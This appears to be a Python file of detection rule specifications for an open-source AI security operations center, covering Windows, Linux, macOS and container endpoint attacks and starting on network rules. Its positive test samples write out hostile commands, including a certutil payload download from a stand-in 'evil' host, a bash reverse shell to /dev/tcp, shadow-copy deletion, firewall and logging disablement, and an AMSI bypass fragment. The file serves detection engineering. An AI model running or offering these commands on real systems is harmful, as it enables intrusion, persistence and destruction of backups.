Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.
Python agentic-aiai-securityalert-triageblue-teamcybersecuritydetection-engineeringincident-responselanggraphllm-agentsmcpmitre-attackmodel-context-protocolpurple-teamsecurity-operationsself-hostedsiemsoarsocthreat-detectionthreat-intelligence
"""
AiSOC Detection Pack v1 - Rule Specifications (part 2 of 2)
============================================================
Continuation of `scripts/detection_specs.py` covering:
endpoint: 40
network: 30
application: 30
data-exfil: 20
-------------------
subtotal: 120
Combined with cloud (40) + identity (40) from part 1 = 200.
"""
from __future__ import annotations
# fmt: off
# =============================================================================
# ENDPOINT (40)
# =============================================================================
ENDPOINT: list[dict] = [
# Initial access / execution (10)
{
"slug": "lolbas-execution",
"name": "LOLBAS Binary Used for Download or Execution",
"description": "Detects living-off-the-land binaries (LOLBAS) being used to download payloads or execute remote code. These binaries are commonly abused by attackers because they are signed by Microsoft and bypass simple application whitelisting.",
"severity": "high",
"mitre": ["t1218"],
"log_source": {"product": "edr", "service": "process-create"},
"fields": {"image_basename", "command_line"},
"match_when": {"image_basename_in": ["regsvr32.exe", "rundll32.exe", "mshta.exe", "certutil.exe", "bitsadmin.exe", "installutil.exe", "msbuild.exe", "wmic.exe"], "command_line_contains_any": ["http", "/i:", "downloadfile", "scrobj.dll", "/transfer", "wsh"]},
"fp": ["Legitimate admin scripting (rare; tag known scripts)"],
"playbook": "tpl-malware-execution",
"positive": {"image_basename": "certutil.exe", "command_line": "certutil.exe -urlcache -split -f http://evil/payload.exe", "host": "wks-001"},
"negative": {"image_basename": "certutil.exe", "command_line": "certutil.exe -hashfile foo.txt SHA256", "host": "wks-001"},
},
{
"slug": "credential-dumping-lsass",
"name": "LSASS Memory Read by Untrusted Process",
"description": "Detects when a process reads LSASS memory with access masks consistent with credential extraction (Mimikatz-style). LSASS holds plaintext password hashes and Kerberos tickets in memory; access from anything other than allowlisted security software is a strong compromise indicator.",
"severity": "critical",
"mitre": ["t1003.001"],
"log_source": {"product": "edr", "service": "object-access"},
"fields": {"target_image", "granted_access_mask", "source_image"},
"match_when": {"target_image_endswith": "lsass.exe", "granted_access_mask_contains_any": ["0x10", "0x1010", "0x1410", "0x1438", "0x143a", "0x1fffff"], "source_image_not_in_allowlist": True},
"fp": ["Antivirus and security tools (allowlist by signed publisher)"],
"playbook": "tpl-credential-theft",
"positive": {"target_image": "C:\\Windows\\System32\\lsass.exe", "granted_access_mask": "0x1010", "source_image": "C:\\Users\\Public\\dump.exe", "source_image_not_in_allowlist": True},
"negative": {"target_image": "C:\\Windows\\System32\\lsass.exe", "granted_access_mask": "0x1010", "source_image": "C:\\Program Files\\Microsoft Defender\\MsMpEng.exe", "source_image_not_in_allowlist": False},
},
{
"slug": "ransomware-file-extension-change",
"name": "Mass File Extension Rename Indicative of Ransomware",
"description": "Detects bulk file rename operations where file extensions are changed to novel patterns within a short time window. This is a high-fidelity indicator of ransomware encryption activity.",
"severity": "critical",
"mitre": ["t1486"],
"log_source": {"product": "edr", "service": "file-rename"},
"fields": {"rename_count_per_process", "extension_change_pattern", "time_window_minutes"},
"match_when": {"rename_count_per_process_gt": 200, "extension_change_pattern": "to-novel-extension", "time_window_minutes_lt": 5},
"fp": ["Bulk archive operations (must be in allowlisted backup tools)"],
"playbook": "tpl-ransomware",
"positive": {"rename_count_per_process": 1500, "extension_change_pattern": "to-novel-extension", "time_window_minutes": 2, "process": "encrypt.exe", "host": "wks-001"},
"negative": {"rename_count_per_process": 5, "extension_change_pattern": "to-known-archive", "time_window_minutes": 30, "process": "7z.exe", "host": "wks-001"},
},
{
"slug": "office-spawn-shell",
"name": "Office Application Spawns Shell or Scripting Engine",
"severity": "high",
"mitre": ["t1059", "t1204.002"],
"log_source": {"product": "edr", "service": "process-create"},
"fields": {"parent_image_basename", "image_basename"},
"match_when": {"parent_image_basename_in": ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"], "image_basename_in": ["powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe", "mshta.exe"]},
"fp": ["Legitimate macros (rare; tag with macro-allowlist)"],
"playbook": "tpl-malware-execution",
"positive": {"parent_image_basename": "winword.exe", "image_basename": "powershell.exe", "host": "wks-001"},
"negative": {"parent_image_basename": "winword.exe", "image_basename": "splwow64.exe", "host": "wks-001"},
},
{
"slug": "powershell-encoded-command",
"name": "PowerShell with Encoded Command and Bypass Flag",
"severity": "high",
"mitre": ["t1059.001", "t1027"],
"log_source": {"product": "edr", "service": "process-create"},
"fields": {"image_basename", "command_line"},
"match_when": {"image_basename": "powershell.exe", "command_line_contains_all": ["-enc", "-exec"], "command_line_contains_any": ["bypass", "unrestricted"]},
"fp": ["Vendor management agents (allowlist by signed publisher)"],
"playbook": "tpl-malware-execution",
"positive": {"image_basename": "powershell.exe", "command_line": "powershell.exe -exec bypass -enc JABzAD0AJwBoAGsAJwA=", "host": "wks-001"},
"negative": {"image_basename": "powershell.exe", "command_line": "powershell.exe -ExecutionPolicy AllSigned -File C:\\scripts\\ok.ps1", "host": "wks-001"},
},
{
"slug": "wmi-process-creation",
"name": "Process Created via WMI by Non-Admin Tool",
"severity": "high",
"mitre": ["t1047"],
"log_source": {"product": "edr", "service": "process-create"},
"fields": {"parent_image_basename", "image_basename"},
"match_when": {"parent_image_basename_in": ["wmiprvse.exe"], "image_basename_in_allowlist": False},
"fp": ["SCCM / Intune agents (allowlist signed publisher)"],
"playbook": "tpl-lateral-movement",
"positive": {"parent_image_basename": "wmiprvse.exe", "image_basename": "powershell.exe", "image_basename_in_allowlist": False, "host": "wks-001"},
"negative": {"parent_image_basename": "wmiprvse.exe", "image_basename": "ccmexec.exe", "image_basename_in_allowlist": True, "host": "wks-001"},
},
{
"slug": "scheduled-task-create-suspicious",
"name": "Scheduled Task Created Pointing to Suspicious Path",
"severity": "high",
"mitre": ["t1053.005"],
"log_source": {"product": "edr", "service": "scheduled-task"},
"fields": {"event_type", "task_command_path"},
"match_when": {"event_type": "ScheduledTaskCreate", "task_command_path_startswith_any": ["C:\\Users\\Public\\", "C:\\ProgramData\\", "C:\\Windows\\Temp\\"]},
"fp": ["Software installers (allowlist by signed publisher)"],
"playbook": "tpl-persistence",
"positive": {"event_type": "ScheduledTaskCreate", "task_command_path": "C:\\Users\\Public\\beacon.exe", "host": "wks-001"},
"negative": {"event_type": "ScheduledTaskCreate", "task_command_path": "C:\\Program Files\\Updater\\update.exe", "host": "wks-001"},
},
{
"slug": "registry-runkey-write",
"name": "Persistence via Registry Run Key Write",
"severity": "high",
"mitre": ["t1547.001"],
"log_source": {"product": "edr", "service": "registry"},
"fields": {"event_type", "registry_path"},
"match_when": {"event_type": "RegistryValueSet", "registry_path_in": ["HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce"]},
"fp": ["Software installers (allowlist by signed publisher)"],
"playbook": "tpl-persistence",
"positive": {"event_type": "RegistryValueSet", "registry_path": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "value_data": "C:\\Users\\Public\\beacon.exe", "host": "wks-001"},
"negative": {"event_type": "RegistryValueSet", "registry_path": "HKCU\\Software\\Microsoft\\Office\\Common\\Settings", "host": "wks-001"},
},
{
"slug": "service-install-binary-suspicious",
"name": "New Service Installed with Suspicious Binary Path",
"severity": "high",
"mitre": ["t1543.003"],
"log_source": {"product": "windows", "service": "system"},
"fields": {"event_id", "service_path"},
"match_when": {"event_id": 7045, "service_path_startswith_any": ["C:\\Users\\", "C:\\ProgramData\\", "C:\\Windows\\Temp\\"]},
"fp": ["Vendor agents installed during onboarding (must be allowlisted by publisher)"],
"playbook": "tpl-persistence",
"positive": {"event_id": 7045, "service_path": "C:\\Users\\Public\\beacon.exe", "host": "wks-001"},
"negative": {"event_id": 7045, "service_path": "C:\\Program Files\\Vendor\\agent.exe", "host": "wks-001"},
},
{
"slug": "psexec-style-binary-write-admin-share",
"name": "Binary Written to ADMIN$ via SMB",
"severity": "high",
"mitre": ["t1021.002"],
"log_source": {"product": "edr", "service": "file-create"},
"fields": {"event_type", "file_path", "image_basename_creator"},
"match_when": {"event_type": "FileCreate", "file_path_contains": "ADMIN$", "file_path_endswith": ".exe"},
"fp": ["SCCM agent deployment (allowlist signed publisher)"],
"playbook": "tpl-lateral-movement",
"positive": {"event_type": "FileCreate", "file_path": "\\\\target\\ADMIN$\\PSEXESVC.exe", "image_basename_creator": "psexec.exe", "host": "wks-001"},
"negative": {"event_type": "FileCreate", "file_path": "C:\\Users\\user\\Documents\\report.docx", "image_basename_creator": "winword.exe", "host": "wks-001"},
},
# Defense evasion (10)
{
"slug": "edr-unload-attempt",
"name": "EDR / AV Service Stopped or Unloaded",
"severity": "critical",
"mitre": ["t1562.001"],
"log_source": {"product": "edr", "service": "service"},
"fields": {"event_type", "service_name"},
"match_when": {"event_type": "ServiceStop", "service_name_in": ["WinDefend", "Sense", "MsMpEng", "CrowdStrike", "SentinelOne", "CarbonBlack"]},
"fp": ["Approved upgrade (must reference change ticket)"],
"playbook": "tpl-defense-evasion",
"positive": {"event_type": "ServiceStop", "service_name": "WinDefend", "actor": "[email protected]", "host": "wks-001"},
"negative": {"event_type": "ServiceStart", "service_name": "WinDefend", "actor": "[email protected]", "host": "wks-001"},
},
{
"slug": "shadow-copy-deletion",
"name": "Volume Shadow Copies Deleted",
"severity": "critical",
"mitre": ["t1490"],
"log_source": {"product": "edr", "service": "process-create"},
"fields": {"image_basename", "command_line"},
"match_when": {"image_basename_in": ["vssadmin.exe", "wmic.exe", "diskshadow.exe", "wbadmin.exe"], "command_line_contains_any": ["delete shadows", "shadowcopy delete", "delete catalog -quiet"]},
"fp": ["Backup software cleaning old shadows (must be allowlisted)"],
"playbook": "tpl-ransomware",
"positive": {"image_basename": "vssadmin.exe", "command_line": "vssadmin.exe delete shadows /all /quiet", "host": "wks-001"},
"negative": {"image_basename": "vssadmin.exe", "command_line": "vssadmin.exe list shadows", "host": "wks-001"},
},
{
"slug": "windows-event-log-cleared",
"name": "Windows Event Log Cleared",
"severity": "critical",
"mitre": ["t1070.001"],
"log_source": {"product": "windows", "service": "security"},
"fields": {"event_id"},
"match_when": {"event_id_in": [1102, 104]},
"fp": ["Forensic export with explicit migration ticket"],
"playbook": "tpl-defense-evasion",
"positive": {"event_id": 1102, "user": "[email protected]", "host": "wks-001"},
"negative": {"event_id": 4624, "user": "[email protected]", "host": "wks-001"},
},
{
"slug": "firewall-disabled-host",
"name": "Host Firewall Disabled",
"severity": "high",
"mitre": ["t1562.004"],
"log_source": {"product": "edr", "service": "process-create"},
"fields": {"image_basename", "command_line"},
"match_when": {"image_basename": "netsh.exe", "command_line_contains_all": ["advfirewall", "set", "off"]},
"fp": ["Troubleshooting (must be ticketed)"],
"playbook": "tpl-defense-evasion",
"positive": {"image_basename": "netsh.exe", "command_line": "netsh advfirewall set allprofiles state off", "host": "wks-001"},
"negative": {"image_basename": "netsh.exe", "command_line": "netsh advfirewall show allprofiles", "host": "wks-001"},
},
{
"slug": "process-injection-cross-process-thread",
"name": "Cross-Process Remote Thread Injection",
"severity": "high",
"mitre": ["t1055"],
"log_source": {"product": "edr", "service": "thread"},
"fields": {"event_type", "source_image_basename", "target_image_basename"},
"match_when": {"event_type": "CreateRemoteThread", "source_image_basename_not_in_allowlist": True, "target_image_basename_in": ["explorer.exe", "svchost.exe", "lsass.exe", "winlogon.exe"]},
"fp": ["Debuggers (allowlist by signed publisher)"],
"playbook": "tpl-malware-execution",
"positive": {"event_type": "CreateRemoteThread", "source_image_basename": "rundll32.exe", "source_image_basename_not_in_allowlist": True, "target_image_basename": "explorer.exe", "host": "wks-001"},
"negative": {"event_type": "CreateRemoteThread", "source_image_basename": "MsMpEng.exe", "source_image_basename_not_in_allowlist": False, "target_image_basename": "explorer.exe", "host": "wks-001"},
},
{
"slug": "amsi-bypass",
"name": "AMSI Bypass via DLL or Reflective Patch",
"severity": "high",
"mitre": ["t1562.001"],
"log_source": {"product": "edr", "service": "process-create"},
"fields": {"image_basename", "command_line"},
"match_when": {"image_basename": "powershell.exe", "command_line_contains_any": ["AmsiUtils", "AmsiInitFailed", "amsi.dll"]},
"fp": ["Legitimate AMSI debugging in security R&D (allowlist users)"],
"playbook": "tpl-defense-evasion",
"positive": {"image_basename": "powershell.exe", "command_line": "powershell.exe -c \"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')...\"", "host": "wks-001"},
"negative": {"image_basename": "powershell.exe", "command_line": "powershell.exe -File C:\\scripts\\monitor.ps1", "host": "wks-001"},
},
{
"slug": "etw-tampering",
"name": "ETW Tampering / Logging Disable",
"severity": "high",
"mitre": ["t1562.006"],
"log_source": {"product": "edr", "service": "process-create"},
"fields": {"image_basename", "command_line"},
"match_when": {"any_of": [{"image_basename": "logman.exe", "command_line_contains": "stop"}, {"image_basename": "wevtutil.exe", "command_line_contains_any": ["sl", "/e:false", "cl"]}]},
"fp": ["Vendor agents managing trace lifecycle (allowlist signed publisher)"],
"playbook": "tpl-defense-evasion",
"positive": {"image_basename": "wevtutil.exe", "command_line": "wevtutil.exe sl Microsoft-Windows-PowerShell/Operational /e:false", "host": "wks-001"},
"negative": {"image_basename": "wevtutil.exe", "command_line": "wevtutil.exe el", "host": "wks-001"},
},
{
"slug": "host-files-modified",
"name": "Hosts File Modified",
"severity": "medium",
"mitre": ["t1565.001"],
"log_source": {"product": "edr", "service": "file-write"},
"fields": {"event_type", "file_path"},
"match_when": {"event_type": "FileWrite", "file_path_endswith": "\\drivers\\etc\\hosts"},
"fp": ["Localhost development entries by developers (allowlist users)"],
"playbook": "tpl-defense-evasion",
"positive": {"event_type": "FileWrite", "file_path": "C:\\Windows\\System32\\drivers\\etc\\hosts", "actor": "[email protected]", "host": "wks-001"},
"negative": {"event_type": "FileWrite", "file_path": "C:\\Users\\dev\\dev-hosts.bak", "actor": "[email protected]", "host": "wks-001"},
},
{
"slug": "image-load-suspicious-signing",
"name": "DLL Loaded with Invalid or Untrusted Signature",
"severity": "medium",
"mitre": ["t1574.002"],
"log_source": {"product": "edr", "service": "image-load"},
"fields": {"event_type", "image_basename_loaded", "signature_status"},
"match_when": {"event_type": "ImageLoad", "image_basename_loaded_endswith": ".dll", "signature_status_in": ["Invalid", "Expired", "Untrusted"]},
"fp": ["Internal-only LOB DLLs (allowlist by hash)"],
"playbook": "tpl-malware-execution",
"positive": {"event_type": "ImageLoad", "image_basename_loaded": "evil.dll", "signature_status": "Invalid", "host": "wks-001"},
"negative": {"event_type": "ImageLoad", "image_basename_loaded": "kernel32.dll", "signature_status": "Valid", "host": "wks-001"},
},
{
"slug": "remote-image-load-from-share",
"name": "DLL Loaded From Network Share",
"severity": "high",
"mitre": ["t1574.002"],
"log_source": {"product": "edr", "service": "image-load"},
"fields": {"event_type", "image_loaded_path"},
"match_when": {"event_type": "ImageLoad", "image_loaded_path_startswith": "\\\\"},
"fp": ["Centrally deployed plugin DLLs (allowlist server share)"],
"playbook": "tpl-malware-execution",
"positive": {"event_type": "ImageLoad", "image_loaded_path": "\\\\filesvr\\public\\evil.dll", "host": "wks-001"},
"negative": {"event_type": "ImageLoad", "image_loaded_path": "C:\\Windows\\System32\\kernel32.dll", "host": "wks-001"},
},
# Linux / Unix endpoint (10)
{
"slug": "suid-binary-creation",
"name": "SUID/SGID Binary Created",
"severity": "high",
"mitre": ["t1548.001"],
"log_source": {"product": "linux", "service": "auditd"},
"fields": {"event_type", "permissions"},
"match_when": {"event_type": "PATH", "permissions_has_any": ["S_ISUID", "S_ISGID"]},
"fp": ["Package installers (must be triggered by dpkg/yum)"],
"playbook": "tpl-privilege-escalation",
"positive": {"event_type": "PATH", "permissions": ["S_ISUID"], "path": "/tmp/.helper", "host": "linux-01"},
"negative": {"event_type": "PATH", "permissions": ["S_IRUSR", "S_IWUSR"], "path": "/tmp/notes.txt", "host": "linux-01"},
},
{
"slug": "kernel-module-load-suspicious",
"name": "Kernel Module Loaded from Non-Standard Path",
"severity": "high",
"mitre": ["t1547.006"],
"log_source": {"product": "linux", "service": "auditd"},
"fields": {"event_type", "module_path"},
"match_when": {"event_type": "MODULE", "module_path_not_startswith": "/lib/modules/"},
"fp": ["Custom kernel R&D (allowlist hosts)"],
"playbook": "tpl-persistence",
"positive": {"event_type": "MODULE", "module_path": "/tmp/rootkit.ko", "host": "linux-01"},
"negative": {"event_type": "MODULE", "module_path": "/lib/modules/5.15.0/kernel/fs/nfs.ko", "host": "linux-01"},
},
{
"slug": "cronjob-suspicious-path",
"name": "Cron Job Created Pointing to /tmp or /dev/shm",
"severity": "high",
"mitre": ["t1053.003"],
"log_source": {"product": "linux", "service": "auditd"},
"fields": {"event_type", "file_path", "command_text"},
"match_when": {"event_type": "PATH", "file_path_startswith_any": ["/etc/cron", "/var/spool/cron"], "command_text_contains_any": ["/tmp/", "/dev/shm/", "curl", "wget"]},
"fp": ["Vendor packaged cron jobs (must be from package manager)"],
"playbook": "tpl-persistence",
"positive": {"event_type": "PATH", "file_path": "/etc/cron.d/update", "command_text": "*/5 * * * * /tmp/.beacon", "host": "linux-01"},
"negative": {"event_type": "PATH", "file_path": "/etc/cron.daily/logrotate", "command_text": "logrotate /etc/logrotate.conf", "host": "linux-01"},
},
{
"slug": "shell-from-web-server",
"name": "Shell Spawned by Web Server Process",
"severity": "critical",
"mitre": ["t1059.004", "t1505.003"],
"log_source": {"product": "linux", "service": "auditd"},
"fields": {"parent_image_basename", "image_basename"},
"match_when": {"parent_image_basename_in": ["nginx", "apache2", "httpd", "php-fpm", "node", "java"], "image_basename_in": ["bash", "sh", "zsh", "ksh", "dash"]},
"fp": ["CGI applications by design (allowlist by app)"],
"playbook": "tpl-webshell",
"positive": {"parent_image_basename": "php-fpm", "image_basename": "bash", "host": "web-01"},
"negative": {"parent_image_basename": "systemd", "image_basename": "bash", "host": "web-01"},
},
{
"slug": "reverse-shell-bash",
"name": "Reverse Shell Pattern from /bin/bash",
"severity": "critical",
"mitre": ["t1059.004"],
"log_source": {"product": "linux", "service": "auditd"},
"fields": {"image_basename", "command_line"},
"match_when": {"image_basename": "bash", "command_line_contains_any": ["bash -i >& /dev/tcp/", "0<&196;exec 196<>/dev/tcp/", "bash -c \"bash -i\""]},
"fp": ["Red-team / pentest exercises (must be ticketed)"],
"playbook": "tpl-malware-execution",
"positive": {"image_basename": "bash", "command_line": "bash -i >& /dev/tcp/198.51.100.5/4444 0>&1", "host": "linux-01"},
"negative": {"image_basename": "bash", "command_line": "bash -c 'echo hello'", "host": "linux-01"},
},
{
"slug": "user-add-suspicious",
"name": "Unix User Added with Login Shell",
"severity": "high",
"mitre": ["t1136.001"],
"log_source": {"product": "linux", "service": "auditd"},
"fields": {"event_type", "command_line"},
"match_when": {"event_type": "USER_ADD", "command_line_contains_any": ["/bin/bash", "/bin/sh"]},
"fp": ["Provisioning of new operator account (ticketed)"],
"playbook": "tpl-persistence",
"positive": {"event_type": "USER_ADD", "command_line": "useradd -m -s /bin/bash backdoor", "host": "linux-01"},
"negative": {"event_type": "USER_ADD", "command_line": "useradd -r -s /usr/sbin/nologin svc-app", "host": "linux-01"},
},
{
"slug": "ssh-key-added-authorized",
"name": "SSH authorized_keys File Modified",
"severity": "high",
"mitre": ["t1098.004"],
"log_source": {"product": "linux", "service": "auditd"},
"fields": {"event_type", "file_path"},
"match_when": {"event_type_in": ["PATH", "FILE_WRITE"], "file_path_endswith": "/.ssh/authorized_keys"},
"fp": ["Provisioning tools (must be allowlisted)"],
"playbook": "tpl-persistence",
"positive": {"event_type": "PATH", "file_path": "/home/user/.ssh/authorized_keys", "actor": "user", "host": "linux-01"},
"negative": {"event_type": "PATH", "file_path": "/home/user/.bashrc", "actor": "user", "host": "linux-01"},
},
{
"slug": "container-privileged-launch",
"name": "Container Launched with --privileged Flag",
"severity": "high",
"mitre": ["t1611"],
"log_source": {"product": "linux", "service": "auditd"},
"fields": {"image_basename", "command_line"},
"match_when": {"image_basename_in": ["docker", "podman"], "command_line_contains_any": ["--privileged", "-v /:/host"]},
"fp": ["Allowlisted node-debug containers (kubectl-debug)"],
"playbook": "tpl-container-escape",
"positive": {"image_basename": "docker", "command_line": "docker run --privileged ubuntu:latest", "host": "node-01"},
"negative": {"image_basename": "docker", "command_line": "docker run --rm alpine sh", "host": "node-01"},
},
{
"slug": "container-mount-host-fs",
"name": "Container Mounts Host Filesystem at /host",
"severity": "high",
"mitre": ["t1611"],
"log_source": {"product": "kubernetes", "service": "audit"},
"fields": {"verb", "object_resource", "volume_path"},
"match_when": {"verb": "create", "object_resource": "pods", "volume_path": "/"},
"fp": ["node-problem-detector / debug DaemonSets (allowlist namespace)"],
"playbook": "tpl-container-escape",
"positive": {"verb": "create", "object_resource": "pods", "volume_path": "/", "namespace": "default", "user": "[email protected]"},
"negative": {"verb": "create", "object_resource": "pods", "volume_path": "/var/log", "namespace": "kube-system", "user": "system:nodes"},
},
{
"slug": "kube-exec-into-prod-pod",
"name": "kubectl exec Into Production Namespace by Non-Operator",
"severity": "high",
"mitre": ["t1609"],
"log_source": {"product": "kubernetes", "service": "audit"},
"fields": {"verb", "object_resource", "subresource", "namespace", "user_role"},
"match_when": {"verb": "create", "object_resource": "pods", "subresource": "exec", "namespace": "production", "user_role_not_in": ["operator", "admin"]},
"fp": ["Approved on-call investigation (must be on-call)"],
"playbook": "tpl-cloud-anomaly",
"positive": {"verb": "create", "object_resource": "pods", "subresource": "exec", "namespace": "production", "user_role": "developer", "user": "[email protected]"},
"negative": {"verb": "create", "object_resource": "pods", "subresource": "exec", "namespace": "production", "user_role": "operator", "user": "[email protected]"},
},
# macOS endpoint (5)
{
"slug": "macos-launchagent-write",
"name": "macOS LaunchAgent or LaunchDaemon Plist Created",
"severity": "high",
"mitre": ["t1543.001", "t1543.004"],
"log_source": {"product": "macos", "service": "endpointsecurity"},
"fields": {"event_type", "file_path"},
"match_when": {"event_type": "ES_EVENT_TYPE_NOTIFY_CREATE", "file_path_startswith_any": ["/Library/LaunchAgents/", "/Library/LaunchDaemons/", "/Users/Shared/"]},
"fp": ["Software installers from notarized publishers (allowlist signing-team-id)"],
"playbook": "tpl-persistence",
"positive": {"event_type": "ES_EVENT_TYPE_NOTIFY_CREATE", "file_path": "/Library/LaunchAgents/com.evil.beacon.plist", "host": "mac-01"},
"negative": {"event_type": "ES_EVENT_TYPE_NOTIFY_CREATE", "file_path": "/Users/alice/Documents/notes.txt", "host": "mac-01"},
},
{
"slug": "macos-tcc-bypass-attempt",
"name": "macOS TCC Bypass Pattern (Direct DB Write)",
"severity": "high",
"mitre": ["t1556.006"],
"log_source": {"product": "macos", "service": "endpointsecurity"},
"fields": {"image_basename", "command_line"},
"match_when": {"image_basename": "sqlite3", "command_line_contains_any": ["TCC.db", "kTCCService"]},
"fp": ["Apple support tooling (rare)"],
"playbook": "tpl-defense-evasion",
"positive": {"image_basename": "sqlite3", "command_line": "sqlite3 ~/Library/Application\\ Support/com.apple.TCC/TCC.db", "host": "mac-01"},
"negative": {"image_basename": "sqlite3", "command_line": "sqlite3 ~/notes.db", "host": "mac-01"},
},
{
"slug": "macos-osascript-spawn",
"name": "Suspicious AppleScript Execution via osascript",
"severity": "high",
"mitre": ["t1059.002"],
"log_source": {"product": "macos", "service": "endpointsecurity"},
"fields": {"image_basename", "command_line"},
"match_when": {"image_basename": "osascript", "command_line_contains_any": ["do shell script", "with administrator privileges", "tell application \"System Events\""]},
"fp": ["Approved automation scripts (allowlist by hash)"],
"playbook": "tpl-malware-execution",
"positive": {"image_basename": "osascript", "command_line": "osascript -e 'do shell script \"curl http://evil/payload\" with administrator privileges'", "host": "mac-01"},
"negative": {"image_basename": "osascript", "command_line": "osascript -e 'tell application \"Calendar\" to activate'", "host": "mac-01"},
},
{
"slug": "macos-gatekeeper-disabled",
"name": "macOS Gatekeeper Disabled",
"severity": "high",
"mitre": ["t1553.001"],
"log_source": {"product": "macos", "service": "endpointsecurity"},
"fields": {"image_basename", "command_line"},
"match_when": {"image_basename": "spctl", "command_line_contains_all": ["--master-disable"]},
"fp": ["Developer machines testing notarization (allowlist hostname)"],
"playbook": "tpl-defense-evasion",
"positive": {"image_basename": "spctl", "command_line": "spctl --master-disable", "host": "mac-01"},
"negative": {"image_basename": "spctl", "command_line": "spctl --status", "host": "mac-01"},
},
{
"slug": "macos-codesign-bypass",
"name": "macOS Quarantine Attribute Stripped",
"severity": "medium",
"mitre": ["t1553.001"],
"log_source": {"product": "macos", "service": "endpointsecurity"},
"fields": {"image_basename", "command_line"},
"match_when": {"image_basename": "xattr", "command_line_contains_any": ["-d com.apple.quarantine", "-c"]},
"fp": ["Developer build/test workflows (allowlist hostnames)"],
"playbook": "tpl-defense-evasion",
"positive": {"image_basename": "xattr", "command_line": "xattr -d com.apple.quarantine /tmp/payload.app", "host": "mac-01"},
"negative": {"image_basename": "xattr", "command_line": "xattr -l /tmp/file.zip", "host": "mac-01"},
},
# Misc (5)
{
"slug": "browser-extension-installed-suspicious",
"name": "Browser Extension Installed Outside Allowlist",
"severity": "medium",
"mitre": ["t1176"],
"log_source": {"product": "edr", "service": "process-create"},
"fields": {"image_basename", "command_line"},
"match_when": {"image_basename_in": ["chrome.exe", "msedge.exe", "firefox.exe"], "command_line_contains": "--load-extension"},
"fp": ["Developer dev-tools workflow"],
"playbook": "tpl-account-anomaly",
"positive": {"image_basename": "chrome.exe", "command_line": "chrome.exe --load-extension=C:\\Users\\Public\\evil-ext", "host": "wks-001"},
"negative": {"image_basename": "chrome.exe", "command_line": "chrome.exe --new-tab", "host": "wks-001"},
},
{
"slug": "usb-device-mass-storage-attached",
"name": "USB Mass-Storage Device Attached to Restricted Host",
"severity": "high",
"mitre": ["t1052.001"],
"log_source": {"product": "edr", "service": "device"},
"fields": {"event_type", "device_class", "host_role"},
"match_when": {"event_type": "DeviceConnect", "device_class": "USB-MassStorage", "host_role": "restricted"},
"fp": ["IT-issued encrypted USB keys (allowlist by device serial)"],
"playbook": "tpl-data-exfil",
"positive": {"event_type": "DeviceConnect", "device_class": "USB-MassStorage", "host_role": "restricted", "host": "finance-01"},
"negative": {"event_type": "DeviceConnect", "device_class": "USB-Keyboard", "host_role": "restricted", "host": "finance-01"},
},
{
"slug": "rmm-tool-install",
"name": "Remote Management Tool Installed Outside Allowlist",
"severity": "high",
"mitre": ["t1219"],
"log_source": {"product": "edr", "service": "process-create"},
"fields": {"image_basename"},
"match_when": {"image_basename_in": ["AnyDesk.exe", "TeamViewer.exe", "ScreenConnect.ClientService.exe", "atera_agent.exe", "splashtop.exe"], "image_basename_in_allowlist": False},
"fp": ["IT-managed remote support tools (allowlisted)"],
"playbook": "tpl-malware-execution",
"positive": {"image_basename": "AnyDesk.exe", "image_basename_in_allowlist": False, "host": "wks-001"},
"negative": {"image_basename": "TeamViewer.exe", "image_basename_in_allowlist": True, "host": "wks-001"},
},
{
"slug": "drivers-loaded-suspicious",
"name": "Driver Signed by Microsoft Loaded with Vulnerable Hash (BYOVD)",
"severity": "critical",
"mitre": ["t1068"],
"log_source": {"product": "edr", "service": "image-load"},
"fields": {"event_type", "driver_hash_in_byovd_list"},
"match_when": {"event_type": "DriverLoad", "driver_hash_in_byovd_list": True},
"fp": ["Allowlist legitimate vulnerable drivers under controlled compatibility tag (rare)"],
"playbook": "tpl-malware-execution",
"positive": {"event_type": "DriverLoad", "driver_basename": "rentdrv2.sys", "driver_hash_in_byovd_list": True, "host": "wks-001"},
"negative": {"event_type": "DriverLoad", "driver_basename": "ntoskrnl.exe", "driver_hash_in_byovd_list": False, "host": "wks-001"},
},
{
"slug": "screen-capture-tool",
"name": "Screen-Capture Tool Use on Sensitive Workstation",
"severity": "medium",
"mitre": ["t1113"],
"log_source": {"product": "edr", "service": "process-create"},
"fields": {"image_basename", "host_role"},
"match_when": {"image_basename_in": ["snippingtool.exe", "screenclippinghost.exe", "obs64.exe", "obs.exe"], "host_role": "sensitive"},
"fp": ["Approved training-session recording (must be ticketed)"],
"playbook": "tpl-data-exfil",
"positive": {"image_basename": "obs64.exe", "host_role": "sensitive", "host": "finance-01"},
"negative": {"image_basename": "snippingtool.exe", "host_role": "general", "host": "wks-001"},
},
]
# =============================================================================
# NETWORK (30)
# =============================================================================
NETWORK: list[dict] = [
{
"slug": "c2-beacon-high-frequency",
"name": "C2 Beacon Pattern (Periodic High-Frequency)",
"description": "Detects highly periodic outbound network connections to a single destination, characteristic of command-and-control (C2) beaconing from implants. Combines both connection count and interval consistency to reduce false positives from telemetry agents.",
"severity": "high",
"mitre": ["t1071.001"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"connection_count", "destination_ip", "interval_seconds", "time_window_minutes"},
"match_when": {"connection_count_gt": 50, "interval_consistency_gt": 0.85, "time_window_minutes_lt": 60},
"fp": ["Telemetry / heartbeat agents to known endpoints (allowlist destination)"],
"playbook": "tpl-c2",
"positive": {"connection_count": 120, "destination_ip": "203.0.113.7", "interval_seconds": 30, "interval_consistency": 0.95, "time_window_minutes": 30},
"negative": {"connection_count": 12, "destination_ip": "203.0.113.7", "interval_seconds": 30, "interval_consistency": 0.4, "time_window_minutes": 30},
},
{
"slug": "dns-data-exfiltration",
"name": "DNS Tunneling / Exfiltration (High Length Subdomains)",
"description": "Detects DNS tunnelling activity characterised by abnormally long subdomain labels and high query volume to a single parent domain. Common technique for covert data exfiltration that bypasses egress filtering on standard ports.",
"severity": "high",
"mitre": ["t1048.003"],
"log_source": {"product": "dns", "service": "query"},
